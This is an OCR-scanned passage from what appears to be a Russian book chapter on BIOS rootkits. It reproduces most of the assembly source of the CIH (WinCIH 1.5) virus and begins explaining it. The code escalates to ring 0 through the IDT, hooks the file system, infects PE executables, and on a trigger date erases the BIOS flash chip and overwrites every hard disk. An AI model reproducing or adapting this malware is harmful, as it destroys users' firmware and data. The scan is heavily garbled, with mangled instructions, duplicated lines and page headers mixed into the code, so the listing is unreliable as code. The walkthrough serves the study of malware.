; При первом проходе - проталкиваем 0
push OOOOOOOOlh
push 000000002h
int 20h _PageAllocate= $
dd 00010053h
; VMMCALL _PageAllocate
; Используем регистры EAX, ECX, EDX и флаги.
add esp, 08h*04h xchg edi, eax
; Выравниваем стек.
; EDI = начальный адрес выделенной
; системной памяти
lea eax, MyVirusStart-@2[esi] ; eax = MyVirusStart - MyExceptionHook
iretd
; + адрес метки во время исполнения
; MyExceptionHook;т. е. адрес при
; метки MyVirusStart во время исполнения.
; Возвращаемся к первоначальной программе ; пользовательского режима.
Устанавливаем перехватчик интерфейса API файловой системы
^gtallMyFileSystemApiHook:
lea
eax, FileSystemApiHook-@6[edi]
; eax = адрес во время исполнения
push
eax
; FileSystemApiHook в выделенных ; страницах системной памяти.
int
2 Oh
; VXDCALL IFSMgr_InstallFileSystemApiHook
lFgMgr_InstallFileSystemApiHook = $
dd 00400067h; Используем регистры EAX, ECX, EDX и флаги.
; Эта переменная модифицируется диспетчером VMM
; для указывания на настоящую процедуру
; IFSMgr_InstallFileSystemApiHook при обработке
; прерывания int 20h.
movdrO, eax; Сохраняем старый адрес OldFileSystemApiHook.
popeax; EAX = адрес во время исполнения процедуры
; FileSystemApiHook в выделенной системной памяти.
; Сохраняем точку входа процедуры
; Old IFSMgr_InstallFileSystemApiHook.
mov есх, IFSMgr_InstallFileSystemApiHook-@2[esi]; ecx = указатель
; на точку входа функции IFSMgr_InstallFileSystemApiHook. mov edx, [ecx] ; edx = точка входа функции
; IFSMgr_InstallFileSystemApiHook в системе.
mov OldInstallFileSystemApiHook-@3[eax], edx
; Сохраняем адрес старой функции ; IFSMgr_InstallFileSystemApiHook ; в выделенной системной памяти.
; Модифицируем точку входа функции
; IFSMgr_InstallFileSystemApiHook.
lea eax, InstallFileSystemApiHook-@3[eax];
i eax = адрес метки InstallFileSystemApiHook во время
; исполнения в выделенной системной памяти.
mov [есх], еах ; Модифицируем точку входа функции
; IFSMgr_InstallFileSystemApiHook для
; указывания на специальную процедуру этого
; вируса в выделенной системной памяти.
cli
jmp ExitRingOInit
Размер кода соединения секций кода вируса
CodeSizeOfMergeVirusCodeSection = offset $
• *
IFSMgr_InstallFileSystemApiHook*
InstallFileSystemApiHook:
push call
ebx
@4;
@4:
pop add
ebx; mov ebx, offset FileSystemApiHook
ebx, FileSystemApiHook-@4;
push
ebx
int
20h; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h; Используем регистры EAX, ECX, EDX и флаги.
pop
eax
; Вызываем первоначальную функцию ; IFSMgr_InstallFileSystemApiHook
; чтобы подсоединить клиента
; FileSystemApiHook.
push call
dword ptr [esp+8]
01dInstallFileSystemApiHook-@3[ebx]
pop push
ecx
eax
; Вызываем первоначальную функцию
; IFSMgr_InstallFileSystemApiHook
; чтобы подсоединить свою FileSystemApiHook
push call
ebx
OldlnstaliFileSystemApiHook-@3[ebx]
pop
ecx
mov drO, eax; Корректируем адрес OldFileSystemApiHook
pop
eax
pop ret
ebx
Статические данные
OldlnstallFileSystemApiHook dd ?
. точка входа IFSMgr_FileSystemHook
cjjeSystemApiHook:
= FileSystemApiHook
pushad
call @5 ;
pop esi; mov esi, offset VirusGameDataStartAddress
add esi, VirusGameDataStartAddress-@5 ; esi = адрес VirusSize ; во время исполнения
Проверяем OnBusy
( OnBusy ); goto pIFSFunc( OnBusy ); goto pIFSFunctest byte ptr (0nBusy-@6)[esi], Olh ; if
( OnBusy )
; goto pIFSFunc
( OnBusy )
; goto pIFSFunc
jnz pIFSFunc
; * Открыт ли файл? (Is OpenFile?)
; if ( NotOpenFile )
; goto prevhook
lea
ebx, [esp+20h+04h+04h]
сгпр
dword ptr [ebx], 00000024h
jne
prevhook
; * Активируем OnBusy
; Активируем OnBusy; Активируем OnBusyinc byte ptr (0nBusy-@6)[esi]
; Активируем OnBusy
; Активируем OnBusy
; * т. е. если DriveNuniber = 03h,*
; * тогда DriveName = 1С: '*
add esi, FileNameBuffer-@6 push esi mov al, [ebx+04h] cmp al, Offh je CallUniToBCSPath add al, 4Oh mov ah, 1 : 1 mov [esi], eax inc esi inc esi
,- * UniToBCSPath
; * Этот сервис преобразует каноническое *
; * имя пути в кодировке Unicode в *
; * нормальное имя пути в указанном
; * основном наборе символов)
CallUniToBCSPath: push OOOOOOOOh push FileNameBufferSize mov ebx, [ebx+lOh] mov eax, [ebx+Och] add eax, 04h push eax push esi int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $ dd 00400041b add esp, 04h*04h
; * Является ли файл исполняемым?
спр [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy
jf debug
. * Только для отладки
спр [esi+eax-06h], 'KCUF' jne DisableOnBusy
endif
; * Существующий файл открыт?
; if ( NotOpenExistingFile )
; goto DisableOnBusy
cnp word ptr [ebx+18h], Olh
jne DisableOnBusy
; * Получаем атрибуты файла
movax, 4300h
int2Oh ; VXDCall IFSMgr_RingO_FileIO
IFSMgr_RingO_FileIO = $
dd 00400032b
jc DisableOnBusy
push ecx
; * Получаем адрес IFSMgr_RingO_FileIO *
rov edi, dword ptr (IFSMgr_RingO_FileIO-@7)[esi]
; edi = адрес метки IFSMgr_RingO_FileIO во время ; исполнения.
mov edi, [edi]; edi = адрес функции IFSMgr_Ring0_FileIO в ядре
; * Защищен ли файл от записи?*
test cl, Olh jz OpenFile
; * Меняем статус файла с "только для чтения" *
; * на "для записи"
movах, 4301h
хогесх, есх
call edi ; VXDCall IFSMgr_RingO_FileIO
Открываем файл
• **************************************
OpenFile:
хогeax, eax
movah, 0d5h
xorecx, ecx
xoredx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_RingO_FileIO
xchg ebx, eax ; mov ebx, FileHandle
; * Проверяем, нужно ли восстановить
; * атрибуты файла
pop есх
pushf test cl, Olh jz IsOpenFileOK
; * Восстанавливаем атрибуты файла
mov ax, 4301h
call edi ; VXDCall IFSMgr_RingO_FileIO
. * Проверяем, действительный ли открытый файл *
jsOpenFileOK:
popf
jc DisableOnBusy
; * Файл успешно открыт
push esipush esi; Проталкиваем адрес FileNameBuffer на стек.
push esi
push esi
pushf; Теперь CF = 0, проталкиваем флаг на стек.
add esi, DataBuffer-@7 ; mov esi, offset DataBuffer
; * Получаем OffsetToNewHeader
; * (Смещение к новому заголовку)*
xoreax, eax
movah, 0d6h
; Чтобы исполнять минимальный объем
; кода вируса, сохраняем ЕАХ в ЕВР.
mov ebp, eax
push 00000004h
pop ecx
push 0000003ch
pop edx
call edi; VXDCall IFSMgr_RingO_FileIO
mov edx, [esi]
Получаем сигнатуру 1PE\0' заголовка ImageFileHeader и признак инфицирования
dec edx
; VXDCall IFSMgr_RingO_FileIO; VXDCall IFSMgr_RingO_FileIOmov eax, ebp call edi
; VXDCall IFSMgr_RingO_FileIO
; VXDCall IFSMgr_RingO_FileIO
; * Проверяем, является ли файл формата РЕ *
; * проверяем, инфицирован ли уже данный файл.*
; * Самоизвлекающиеся файлы WinZip не имеют*
; * признака инфицирования, потому что вирус *
; * не заражает их.
cmp dword ptr [esi], 00455000h; Проверяем на наличие сигнатуры РЕ
jne CloseFile
; * Файл является файлом РЕ
; * Файл также еще не инфицирован
; * Начинаем инфицировать файл
Текущее состояние регистров:
; * EAX = 04h * ; * ЕВХ = Дескриптор файла * ; * ЕСХ = 04h * ; * EDX = 'РЕ\0\0* Сигнатура прежнего * ; * байта указателя на * ; * ImageFileHeader *
;*ESI=DataBuffer address ==> @8*
;*EDI=IFSMgr_RingO_FileIO address*
;*EBP=D600h ==> Чтение данных*
;*StackDump:*
;*ESP=> *
; *|EFLAG(CF=0)|*
| FileNameBufferPointer | * I (Указатель на буфер | * | имени файла) | *
|EDI|
|ESI|*
|EBP|*
|ESP|*
|EBX|*
|EDX|*
|ECX|*
|EAX|*
|Адрес возврата|*
push ebx; Сохраняем дескриптор файла
push 00h; Устанавливаем VirusCodeSectionTableEndMark
Устанавливаем признак инфицирования вирусом
push Olh push edx push edipush Olh push edx push edi; Размер
push Olh push edx push edi
push Olh push edx push edi
; Указатель файла
; Адрес буфера
* Сохраняем регистр ESP
mov drl, esp
push eax ; Размер
; * Считываем заголовок
; * образа в файле
mov eax, ebp
mov cl, SizeOflmageHeaderToRead ; Размер заголовка образа, ; который нужно считать.
add edx, 07h; Перемещаем EDX в NumberOfSections
call edi ; VXDCall IFSMgr_RingO_FileIO
; * Устанавливаем * ; * NewAddressOfEntryPoint * ; * (новый адрес точки входа)* ; * (устанавливаем указатель *
; * файла, адрес буфера)
leaeax, (AddressOfEntryPoint-@8)[edx]
; Указатель файла; Адрес буфера; Указатель файла; Адрес буфераpush eax
; Указатель файла
; Адрес буфера
; Указатель файла
; Адрес буфера
leaeax, (NewAddressOfEntryPoint-@8)[esi]
push eax
; * Перемещаем EDX к началу ; * SectionTable в файле
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h]
; * Определяем общий*
; * размер секций*
mov al, SizeOfSectionTable ; Размер таблицы секций.
; Принимается, что NumberOfSections <= Offh
mov cl, (NumberOfSections-@8)[esi] mul cl
; * Устанавливаем таблицу секций
; Перемещаем ESI к началу SectionTable
lealeaesi, (StartOfSectionTable-@8)[esi]
lea
lea
push push pushpush push pusheaxeaxedxedxesiesi; Размер; Указатель файла; Адрес буфера; Размер; Указатель файла; Адрес буфера
push push push
push push push
eax
eax
edx
edx
esi
esi
; Размер
; Указатель файла
; Адрес буфера
; Размер
; Указатель файла
; Адрес буфера
;* Размер слитых секций кода
;* вируса и общий размер таблицы
;* секций кода вируса не должен
;* превышать объем свободного пространства ;* в последующей таблице секций.
inc есх
push есх; Сохраняем NuiriberOfSections+1
shl есх, 03h push есх; Сохраняем TotalSizeOfVirusCodeSectionTable
addесх,eax
addесх,edx
subесх,(SizeOfHeaders-@9)[esi]
notecx
incecx
; Сохраняем размер кода первой секции
; следующей таблицы секций вируса ...
; (не включая размер таблицы секции кода вируса)
push есх
xchg есх, еах; ЕСХ = размер таблицы секций.
; Сохраняем исходный адрес точки входа.
movеах, (AddressOfEntryPoint-@9)[esi]
addеах, (ImageBase-@9)[esi]
mov (OriginalAddressOfEntryPoint-@9)[esi], eax
cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetlnfectedMark
; * Считываем все таблицы секций
mov eax, ebp
call edi ; VXDCall IFSMgr_RingO_FileIO
. * решаем проблему * ; * С ОШИбКОЙ ПрИ * ; * работе с самоизвлекающимися * ; * файлами WinZip. *
; * Вирус не инфицирует само- * ; * извлекающиеся файлы WinZip *
; * когда они открываются * ; * пользователем.*
; * Вирус получает*
; * PointerToRawData во второй * ; * таблице секций, считывает * ; * данные в секции и проверяет,* ; * не присутствует ли там *
; * строка 'WinZip(R)1*
xchg eax, ebp
push 00000004b
pop есх
push edx
movedx, (SizeOfSectionTable+PointerToRawData-@9)[esi]
addedx, 12h
call edi; VXDCall IFSMgr_RingO_FileIO
cmp dword ptr [esi], 'piZniW'
je NotSetlnfectedMark
pop edx
; * Устанавливаем общую
; * таблицу секции кода
; * вируса.
; ЕВХ = размер первой секции кода вируса
;следующей таблицы секций.
pop
ebx
pop
edi; EDI = TotalSizeOfVirusCodeSectionTable
pop
ecx; ECX = NuiriberOfSections+1
push
edi; Размер
add
edx, ebp
push
edx; Указатель на файл.
add
ebp, esi
push
ebp; Адрес буфера.
; * Устанавливаем размер * ; * первой секции кода вируса * ; * в VirusCodeSectionTable *
lea eax, [ebp+edi-04h]
mov [eax], ebx
; * Устанавливаем первую
; * секцию кода вируса
; Размер; Указатель на файл; Размер; Указатель на файл; Адрес буфера; Адрес буфераpush ebx
; Размер
; Указатель на файл
; Размер
; Указатель на файл
; Адрес буфера
; Адрес буфера
add edx, edi
push edx
lea edi, (MyVirusStart- @9)[esi]
push edi
Модифицируем AddressOfEntryPoint указывать на точку входа вируса
mov (NewAddressOfEntryPoint-@9)[esi], edx
* Устанавливаем начальные данные *
lea
edx, [esi-SizeOfSectionTable]
mov
ebp, offset Virussize
jmp
StartToWriteCodeToSections
,- * Записываем код в секции *
LoopOfWriteCodeToSections:
addedx, SizeOfSectionTable
movebx, (Size0fRawData-@9)[edx]
subebx, (VirtualSize-@9)[edx]
jbeEndOfWriteCodeToSections
pushebx;Размер
subeax, 08h
mov[eax], ebx
movebx,(PointerToRawData-@9)[edx]
addebx, (VirtualSize-@9)[edx]
pushebx;Указательфайла
pushedi;Адрес буфера
movebx, (VirtualSize-@9)[edx]
addebx,(VirtualAddress-@9)[edx]
addebx, (ImageBase-@9)[esi]
mov[eax+4], ebx
movebx, [eax]
add(VirtualSize-@9)[edx], ebx
; Секция содержит инициализированные данные ==> 00000040h
; Секцию можно читать==> 40000000b
or (Characteristics-@9)[edx], 40000040b
StartToWriteCodeToSections:; Начинаем записывать код в секции
sub ebp, ebx jbe SetVirusCodeSectionTableEndMark add edi, ebx; Перемещаем адрес буфера
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
; * Только устанавливаем признак заражения *
OnlySetInfectedMark:
mov esp, drl
jmp WriteVirusCodeToFile
; * He устанавливаем признак заражения *
NotSetlnfectedMark:
add esp, 3ch
jnp CloseFile
; * Устанавливаем метку конца
; * таблицы секции кода вируса
SetVirusCodeSectionTableEndMark:
; Корректируем размер секции кода вируса на правильное значение.
add [eax], ebp
add [esp+08h], ebp
; Устанавливаем конечную метку xor ebx, ebx
mov [eax-04h], ebx
* Когда VirusGame вызывает VxCall,
* VMM модифицирует *int 2Oh* и
* 'Service Identifier'(Идентификатор
* сервиса) на 'Call [XXXXXXXX]'
; * Прежде чем записывать вирус в
; * файлы, необходимо восстановить
: * указатели функции VxD.
lea eax, (LastVxDCallAddress-2-@9)[esi]
mov cl, VxDCallTableSize
LoopOfRestoreVxDCal1ID:
movword ptr [eax], 20cdh
movedx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
mov [eax+2], edx
movzx edx, byte ptr (VxDCallAddressTable+ecx-l-@9)[esi]
sub eax, edx loop LoopOfRestoreVxDCalllD
; * Записываем код вируса в файл. *
WriteVirusCodeToFile:
mov eax, drl
movebx, [eax+10h]
movedi, [eax]
LoopOfWriteVirusCodeToFile:
pop ecx
jecxz SetFileModificationMark
movesi, ecx
mov eax, 0d601h
pop edx
pop ecx
call edi; VXDCall IFSMgr_RingO_FileIO
jmp LoopOfWriteVirusCodeToFile
; * устанавливаем CF =1 ==> необходимо * ; * восстановить время модификации файла. *
SetFileModificationMark:
pop ebx
pop eax
stc; Разрешаем CF(carry flag — флаг переноса)
pushf
; *Закрываем файл*
CloseFile:
xoreax, eax
movah, 0d7h
call edi; VXDCall IFSMgr_RingO_FileIO
; * Проверяем, нужно ли восстановить
; * время модификации файла
popfpop esijnc IsKillComputerpopfpop esijnc IsKillComputer; ★ Восстанавливаем время модификации файла; ★ Восстанавливаем время модификации файлаmovebx,edimovax, 4303hmovecx,(FileModificationTime-@7)[esi]movedi,(FileModificationTime+2-@7)[esi]callebxmovebx,edimovax, 4303hmovecx,(FileModificationTime-@7)[esi]movedi,(FileModificationTime+2-@7)[esi]callebx; VXDCall IFSMgr_RingO_FileIO; VXDCall IFSMgr_RingO_FileIO; * Disable OnBusy; * Disable OnBusy; * (Отключить когда занято; * (Отключить когда занятоDi sableOnBusy:dec byte ptr (0nBusy-@7)[esi]Di sableOnBusy:dec byte ptr (0nBusy-@7)[esi]; Блокируем OnBusy; Блокируем OnBusy; * Вызываем предыдущую FileSystemApiHook *; * Вызываем предыдущую FileSystemApiHook *prevhook:prevhook:popadpopadmov eax, drO jirp [eax]mov eax, drO jirp [eax]; Переход к prevhook; Переход к prevhook; (предыдущему перехвату); (предыдущему перехвату): * Вызываем функцию, которую диспетчер IFS обычно: * Вызываем функцию, которую диспетчер IFS обычно: * бы вызвал для реализации именно этого запроса ввода-вывода. *: * бы вызвал для реализации именно этого запроса ввода-вывода. *PIFSFunc:PIFSFunc:movebx, esppushdword ptr [ebx+20h+04h+14h]call[ebx+20h+04h]popecxmov[ebx+lch], eaxmovebx, esppushdword ptr [ebx+20h+04h+14h]call[ebx+20h+04h]popecxmov[ebx+lch], eax; Проталкиваем pioreq; Вызываем pIFSFunc; Модифицируем значение ЕАХ в стеке; Проталкиваем pioreq; Вызываем pIFSFunc; Модифицируем значение ЕАХ в стеке
popf
pop esi
jnc IsKillComputer
popf
pop esi
jnc IsKillComputer
; ★ Восстанавливаем время модификации файла
; ★ Восстанавливаем время модификации файла
movebx,edi
movax, 4303h
movecx,(FileModificationTime-@7)[esi]
movedi,(FileModificationTime+2-@7)[esi]
callebx
movebx,edi
movax, 4303h
movecx,(FileModificationTime-@7)[esi]
movedi,(FileModificationTime+2-@7)[esi]
callebx
; VXDCall IFSMgr_RingO_FileIO
; VXDCall IFSMgr_RingO_FileIO
; * Disable OnBusy
; * Disable OnBusy
; * (Отключить когда занято
; * (Отключить когда занято
Di sableOnBusy:
dec byte ptr (0nBusy-@7)[esi]
Di sableOnBusy:
dec byte ptr (0nBusy-@7)[esi]
; Блокируем OnBusy
; Блокируем OnBusy
; * Вызываем предыдущую FileSystemApiHook *
; * Вызываем предыдущую FileSystemApiHook *
prevhook:
prevhook:
popad
popad
mov eax, drO jirp [eax]
mov eax, drO jirp [eax]
; Переход к prevhook
; Переход к prevhook
; (предыдущему перехвату)
; (предыдущему перехвату)
: * Вызываем функцию, которую диспетчер IFS обычно
: * Вызываем функцию, которую диспетчер IFS обычно
: * бы вызвал для реализации именно этого запроса ввода-вывода. *
: * бы вызвал для реализации именно этого запроса ввода-вывода. *
PIFSFunc:
PIFSFunc:
mov
ebx, esp
push
dword ptr [ebx+20h+04h+14h]
call
[ebx+20h+04h]
pop
ecx
mov
[ebx+lch], eax
mov
ebx, esp
push
dword ptr [ebx+20h+04h+14h]
call
[ebx+20h+04h]
pop
ecx
mov
[ebx+lch], eax
; Проталкиваем pioreq
; Вызываем pIFSFunc
; Модифицируем значение ЕАХ в стеке
; Проталкиваем pioreq
; Вызываем pIFSFunc
; Модифицируем значение ЕАХ в стеке
' * После вызова pIFSFunc получаем некоторые * ' * данные с возвращенной функции pioreq *
сир dword ptr [ebx+20h+04h+04h], 00000024b jne QuitMyVirusFileSystemHook
; * Получаем дату и время модификации *
; * файла в формате DOS*
mov eax, [ecx+28h]
mov (FileModificationTime-@6) [esi], eax
; * Выходим из перехватчика *
; * IFSMgr_FileSystemHook *
QuitMyVirusFileSystemHook: popad
ret
; * Проверка, выводить ли из строя компьютер.*
IsKillConputer:
; Получаем текущую дату из CMOS BIOS moval,07h
out7Oh, al
inal,71h
xoral,Olh ; ??/26/???? - странно; должно быть "xor al, 26h"
IF DEBUG
jirp DisableOnBusy
ELSE
jnz DisableOnBusy
ENDIF
; * Выводим из строя EEPROM BIOS *mov bp, 0cf8hlea esi, IOForEEPROM-@7[esi]; * Выводим из строя EEPROM BIOS *mov bp, 0cf8hlea esi, IOForEEPROM-@7[esi]; bp = порт адреса конфигурационного; пространства PCI; esi = динамический адрес; bp = порт адреса конфигурационного; пространства PCI; esi = динамический адрес
; * Выводим из строя EEPROM BIOS *
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
; * Выводим из строя EEPROM BIOS *
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
; bp = порт адреса конфигурационного
; пространства PCI
; esi = динамический адрес
; bp = порт адреса конфигурационного
; пространства PCI
; esi = динамический адрес
; lOForEEPROM
Отобразить страницу BIOS в диапазоне 000E0000-000EFFFF
(64 Кбайт)
mov
edi,
, 8000384ch
; edi = шина PCI 0, устройство 7, смещение 4Ch
mov
dx,
Ocfeh
; Обращаемся к смещениям 4Eh-4Fh южного моста.
; Примечание: Южный мост должен быть Intel PIIX4
cli
call
esi
; Вызываем lOForEEPROM -> разрешаем
; доступ к чипу BIOS.
*****************************************
Отобразить страницу BIOS в диапазоне 000E0000-000EFFFF (64 Кбайт)
mov
di, 0058h; Регистр 59h северного моста чипсетов Intel 430TX
; и 440BX служит для отображения диапазонов ; адресов BIOS на память.
dec
edx; Указываем на регистр 59h
mov
word ptr (BooleanCalculateCode-@10)[esi], 0f24h
; Меняем код операции в метке BooleanCalculateCode
; на "and al,0fh"; т. е. направляем операцию
; ввода-вывода к чипу BIOS через шину PCI.
call
esi; Вызываем lOForEEPROM
Отобразить дополнительные данные BIOS * ROM $data в память в диапазоне * 000E0000-000E01FF*
(512 байт),*
и секция дополнительной BIOS доступна * Для записи*
lea
ebx,
EnableEEPROMToWrite-@10[esi]
mov
eax,
0e5555h
mov
ecx,
0e2aaah
call
ebx
; Call EnableEEPROMToWrite
mov
byte
ptr [eax], 60h; Это странно, чтобы разрешить запись в BIOS здесь
; должно быть "mov byte ptr [eax], 20h";
592
Часть IV. Внесение изменений в код B/qq
; "mov byte ptr [eax], 60h" — это команда
; ID продукта.
push ecx
loop $
; Задержка
Выводим из строя дополнитетельные
; * данные ROM BIOS в диапазоне
адресов *
; * 000E0000-000E007F.
*
*(8Oh байтов)
*******************
xor ah, ah
mov [eax], al
; Записываем 55h по адресу e0055h
xchg ecx, eax
loop $
; Задержка
" Отобразить и активировать * " Основные данные основной * ' BIOS ROM*
000E0000-000FFFFF*
(128 Кбайт)*
' Разрешить запись*
mov eax, 0f5555h
pop ecx mov ch, Oaah
call ebx
; Вызываем EnableEEPROMToWrite
; (Разрешить запись в EEPROM)
mov byte ptr [eax], 20h
; Разрешить запись в чип BIOS.
loop $
; Задержка
г Выводим из строя основные
' данные ROM BIOS в диапазоне
' адресов 000FE000-000E007F.
'(8Oh байтов)
mov ah, OeOh
mov [eax], al
; Записываем 55h по адресу fe055h
. Скрываем страницу BIOS в *
. * диапазоне 000F0000-000FFFFF. *
. *(64 Кбайта)*
mov word ptr (BooleanCalculateCode-@10)[esi], lOOch
; Меняем код операции в метке BooleanCalculateCode на ; "or al,10h"; т. е. направляем операции чтения
; в теневую DRAM,
; а операции записи — в чип BIOS через шину PCI.
call esi ; Вызываем lOForEEPROM.
; Примечание: Содержание регистров edi и ebp ; сохранено с предыдущего вызова.
* Выводим из строя все жесткие диски *
***************************************************
Структура IOR для нужд IOS_SendCommand
* ?? ?? ?? ?? 01 QQ ?? ?? 01 Q5 QQ 4Q ?? ?? ?? ?? *
* 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 сО *
sub esp, Oach
LoopOfKillHardDisk:
int 20h
dd 00100004h; VXDCall IOS_SendCommand
cirp word ptr [esi+06h], 0017h
je KillNextDataSection
ChangeNextHardDisk:
inc byte ptr [esi+4dh]
jirp LoopOfKillHardDisk
KillNextDataSection:
add dword ptr [esi+lOh], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber jnp LoopOfKillHardDisk
; * Разрешаем запись в EEPROM *'
• ******************************
EnableEEPROMToWrite:
mov[eax],cl
mov[ecx],al
mov byte ptr [eax], 80h
mov[eax],cl
mov[ecx],al
ret
; * Ввод-вывод для EEPROM * • ****************************
lOForEEPROM:
@10= lOForEEPROM
xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp inal, dx
; Разрешаем доступ к EEPROM для PIIX.; Разрешаем доступ к EEPROM для PIIX.BooleanCalculateCode = $ or al, 44h
; Разрешаем доступ к EEPROM для PIIX.
; Разрешаем доступ к EEPROM для PIIX.
; При втором проходе, этот код операции
; меняется на "and al, Ofh".
; При третьем проходе, этот код операции ; меняется на "or al, 10h".
xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret
'Статические данные
LastVxDCallAddress =
IFSMgr_RingO_FileIO
VxDCallAddressTable db OOh db IFSMgr_RemoveFileSystemApiHook-_PageAllocate db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook db IFSMgr_RingO_FileIO-UniToBCSPath
VxDCalllDTable dd 00010053b, 00400068b, 00400041b, 00400032b
VxDCallTableSize = ($-VxDCalllDTable)/04h
; *Авторские права на вирус*
; *********************************************************
VirusVersionCopyright
db 'WinCIH ver 1.5 by TATUNG, Thailand'
*************************************
Размер вируса*
• ********************
*************************************
VirusSize = $
f ********************
Динамические данные*
VirusGameDataStartAddress = VirusSize ®6= VirusGameDataStartAddress
OnBusydb 0
pileModificationTime
dd ?
^leNameBuf fer db FileNameBufferSize dup(?)
@1= FileNameBuffer
DataBuffer=$
@8= DataBuffer
NumberOfSections
dw
?; Количество секций
TimeDateStanp
dd
?; Метка даты и времени
SymbolsPointer
dd
?; Указатель знаков
NumberOf Symbols
dd
?; Количество знаков
SizeOfOptionalHeader
dw
?; Размер необязательного заголовка
„Characteristics
dw
?
Magic
dw
?
Linkerversion
dw
?; Версия компоновщика
SizeOfCode
dd
?; Размер кода
SizeOflnitializedData
dd
?; Размер инициализированных данных
SizeOfUninitializedData
dd
?; Размер неинициализированных данных
AddressOfEntrypoint
dd
?; Адрес точки входа
BaseOfCode
dd
?; Базовый адрес кода
BaseOfData
dd
?; Базовый адрес даных
ImageBase
dd
?; Базовый адрес образа
@9= $
SectionAlignment
dd
?; Выравнивание секции
Fi leAl ignment
dd
?; Выравнивание файла
OperatingSystemVersion
dd
?; Версия операционной системы
Imageversion
dd
?; Версия образа
Subsys temVersion
dd
?; Версия подсистемы
Reserved
dd
?; Зарезервировано
SizeOfImage.
dd
?; Размер образа
SizeOfHeaders
dd
?; Размер заголовков
SizeOflmageHeaderToRead
=
$-NuihberOfSections ; Размер заголовков образов,
NewAddressOfEntryPoint
=
; которые нужно прочитать
DataBuffer ; DWORD ; Новый адрес точки входа =
SizeOflmageHeaderToWrite =
; = Буфер данных
04h; Размер заголовков образов,
StartOfSectionTable
=
; которые нужно записать @9; Начало таблицы секций = @9
SectionName
=
StartOfSectionTable ; QWORD
VirtualSize
; Имя секции =
; = Начало таблицы секции
StartOfSectionTable+08h ; DWORD
; Виртуальный размер =
; = Начало таблицы секций+08Ь
Глава 12. Разработк
а руткитов BIOS597
^irtualAddress
= StartOfSectionTable+Och ; DWORD
; Виртуальный размер =
; = Начало таблицы секций+Och
gizeOfRawData
= StartOfSectionTable+lOh ; DWORD
; Размер "сырых" данных =
; Начало таблицы секций+10Н
pointerToRawData
= StartOfSectionTable+14h ; DWORD
; Указатель на "сырые" данные = ; = Начало таблицы секций+14Н
PointerToRelocations
= StartOfSectionTable+18h ; DWORD
; Указатель на перемещения =
; = Начало таблицы секций+lSh
pointerToLineNuihbers
= StartOfSectionTable+lch ; DWORD
; Указатель на номера линий = ; = Начало таблицы секций+lch
NuniberOfRelocations
= StartOfSectionTable+20h
; WORD
; Число перемещений =
; = Начало таблицы секций+20Н
NuiriberOfLineNurribers
= StartOfSectionTable+22h
; WORD
; Число номеров линий =
; = Начало таблицы секций+22Н
Characteristics
= StartOfSectionTable+24h
; DWORD
; Характеристики=
; = Начало таблицы секций+22Н
SizeOfSectionTable
= Characteristics+04h-SectionName
; Размер таблицы секций =
; = Начало таблицы секций + 04h -
; - Имя секции
' *Память для
всех нужд вируса
^■rusNeedBaseMemory
^irusTotalNeedMemory
= $
= @9
^irusGame ENDS
Приступим к детальному рассмотрению кода, выводящего из строя содержу мое BIOS. Начнем с точки входа вируса. В инфицированном исполняемом файле точка входа перенаправляется к точке входа вируса, т. е. к метке Myvirusstart в коде, представленном в листинге 12.1. После исполнения кода вируса, управление передается обратно в точку входа инфицированного фай. ла. Таким образом, начнем анализ хода исполнения вируса с метки Myvirusstart. Согласно рис. 12.1, первым компонентом сегмента вируса является процедура для модификации таблицы IDT. Реализация этой процеду. ры показана в листинге 12.3. Но перед тем как приступить к рассмотрению этой процедуры, я бы хотел остановиться на оригинальном решении, применяемом автором вируса CIH для вычисления динамических адресов меток в коде вируса. Соответствующий фрагмент кода показан в листинге 12.2.
Листинг 12.2. Процедура для вычисления адресов меток в коде вируса во время исполнения кода
MyVirusStart:
push ebp
* Модифицируем структурную обработку исключений
* и предотвращаем появление ошибок исключений,
* особенно в Windows NT
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0; Относительный вызов процедуры @0.
; (По адресу, отсчитываемому относительно конца
; кода этой операции.)
@0:
pop ebx; ebx = адрес возврата -> т. е. адрес сразу же
; после вызова кода операции во время исполнения
lea есх, StopToRunVirusCode-@0[ebx]
; есх = StopToRunVirusCode - @0
;+ ebx
; т. е. есх = адрес метки StopToRunVirusCode
; во время исполнения
push есх; Проталкиваем в стек адрес при исполнении
push eaxpush eax; метки StopToRunVirusCode
push eax
push eax
; Проталкиваем в стек fs:[0]
gaK можно видеть, адрес метки StopToRunvirus во время исполнения вычисляется следующим образом. Сначала адрес метки @о выталкивается со стека в регистр ebx. В стеке этот адрес сохраняется инструкцией call @о. Затем расстояние от метки StopToRunvirus до метки @о добавляется к адресу метки @о во время исполнения и сохраняется в регистре есх. Эта операция выполняетсЯ в следующей строке кода:
jea есх, StopToRunVirusCode-@0 [ebx]
Теперь приступим к рассмотрению процедуры, осуществляющей модификацию таблицы IDT. Исходный код этой процедуры показан в листинге 12.3.
Пистинг 12,3, Процедура для модификации таблицы IDT
**********************************
* Модифицируем таблицу IDT
* чтобы получить права кольца 0...
push
eax; Проталкиваем в стек фиктивную метку-заполнитель для
; базового адреса таблицы IDT.
sidt
[esp-02h]; Получаем адрес таблицы IDT; сохраняем его в стеке.
; (esp-2 = 16-битная граница таблицы IDT)
pop add
ebx; ebx = базовый адрес таблицы IDT(32 бита)
ebx, HookExceptionNuniber*08h+04h
; ZF = 0;
; ebx = указатель на
; модифицированный элемент таблицы IDT
cli
; Запрещаем маскируемое прерывание, ; исключение все еще разрешено.
mov
ebp, [ebx] ; Сохраняем базовый адрес обработчика ; исключения (биты 16-31) регистра ebp
mov
bp, [ebx-04h]
